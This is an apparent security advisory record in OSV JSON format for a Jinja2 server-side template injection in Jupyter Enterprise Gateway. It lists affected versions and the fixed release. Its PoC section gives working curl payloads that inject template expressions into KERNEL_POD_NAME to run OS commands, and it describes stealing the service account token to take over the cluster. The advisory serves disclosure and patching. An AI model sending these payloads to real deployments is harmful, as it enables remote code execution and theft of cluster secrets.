{"id":"PYSEC-2026-364","summary":"Jupyter Enterprise Gateway: Jinja2 Template Server Side Template Injection resulting in Remote Code Execution","details":"### Summary\n\nThe environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI).\nBy including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service.\nThe code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount.\n\n### Details\n\nThe `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code:\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247\n \nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI.\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77\n \nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137\n \n### PoC\n\n\n#### Simple demonstration of SSTI using `{{7 * 7}}`\n\n```bash\n curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{7 * 7}}\" }}'\n```\n\n```json\n{\"id\": \"1094076f-35c6-48a5-ae60-0c943bb97a9a\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07:14:42.155736Z\", \"execution_state\": \"starting\", \"connections\": 0}\n```\n\nRunning `kubectl get pods`\n```\nNAME READY STATUS RESTARTS AGE\nbdawg-49 1/1 Running 0 3m54s\n```\n\n#### Remote code execution - OS Commands via SSTI\n\n```bash\ncurl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{\"name\":\"python_kubernetes\", \"env\": {\"KERNEL_POD_NAME\": \"bdawg-{{ cycler.__init__.__globals__.os.popen(\\\"hostname\\\").read() }}\", \"KERNEL_NAMESPACE\": \"notebooks\" }}'\n```\n\n```json\n{\"id\": \"85ec9431-d005-48d5-8127-5f022f2c5780\", \"name\": \"python_kubernetes\", \"last_activity\": \"2025-07-17T07\n```\n\n```\nNAME READY STATUS RESTARTS AGE\nbdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s\n```\n\n`enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod.\n\n\n#### Enterprise Gateway RBAC\nThe Enterprise Gateway service account has R/W access to several resource kinds.\n\nStolen Enterprise Gateway service account `kubectl auth can-i --list`\n\n```\nResources Non-Resource URLs Resource Names Verbs\nselfsubjectreviews.authentication.k8s.io [] [] [create]\nselfsubjectaccessreviews.authorization.k8s.io [] [] [create]\nselfsubjectrulesreviews.authorization.k8s.io [] [] [create]\nrolebindings.rbac.authorization.k8s.io [] [] [get list create delete]\nconfigmaps [] [] [get watch list create delete]\nnamespaces [] [] [get watch list create delete]\npersistentvolumeclaims [] [] [get watch list create delete]\npersistentvolumes [] [] [get watch list create delete]\npods [] [] [get watch list create delete]\nsecrets [] [] [get watch list create delete]\nservices [] [] [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]\nscheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete]\nsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete]\n [/.well-known/openid-configuration/] [] [get]\n [/.well-known/openid-configuration] [] [get]\n [/api/*] [] [get]\n [/api] [] [get]\n [/apis/*] [] [get]\n [/apis] [] [get]\n [/healthz] [] [get]\n [/healthz] [] [get]\n [/livez] [] [get]\n [/livez] [] [get]\n [/openapi/*] [] [get]\n [/openapi] [] [get]\n [/openid/v1/jwks/] [] [get]\n [/openid/v1/jwks] [] [get]\n [/readyz] [] [get]\n [/readyz] [] [get]\n [/version/] [] [get]\n [/version/] [] [get]\n [/version] [] [get]\n [/version] [] [get]\n ```\n\n### Impact\nThis is a server side template injection that leads to remote code execution (python and OS commands).\n\nAn attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token.\n It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it.","aliases":["CVE-2026-44181","GHSA-f49j-v924-fx9w"],"modified":"2026-07-01T20:22:54.829379Z","published":"2026-06-29T11:50:52.903440Z","references":[{"type":"WEB","url":"https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w"},{"type":"PACKAGE","url":"https://github.com/jupyter-server/enterprise_gateway"},{"type":"PACKAGE","url":"https://pypi.org/project/jupyter-enterprise-gateway"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f49j-v924-fx9w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44181"}],"affected":[{"package":{"name":"jupyter-enterprise-gateway","ecosystem":"PyPI","purl":"pkg:pypi/jupyter-enterprise-gateway"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0rc2"},{"fixed":"3.3.0"}]}],"versions":["2.0.0","2.0.0rc2","2.1.0","2.1.1","2.2.0","2.2.0rc1","2.2.0rc2","2.3.0","2.4.0","2.5.0","2.5.1","2.5.2","2.6.0","3.0.0","3.0.0b0","3.0.0rc0","3.0.0rc1","3.1.0","3.2.0","3.2.1","3.2.2","3.2.3"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/jupyter-enterprise-gateway/PYSEC-2026-364.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}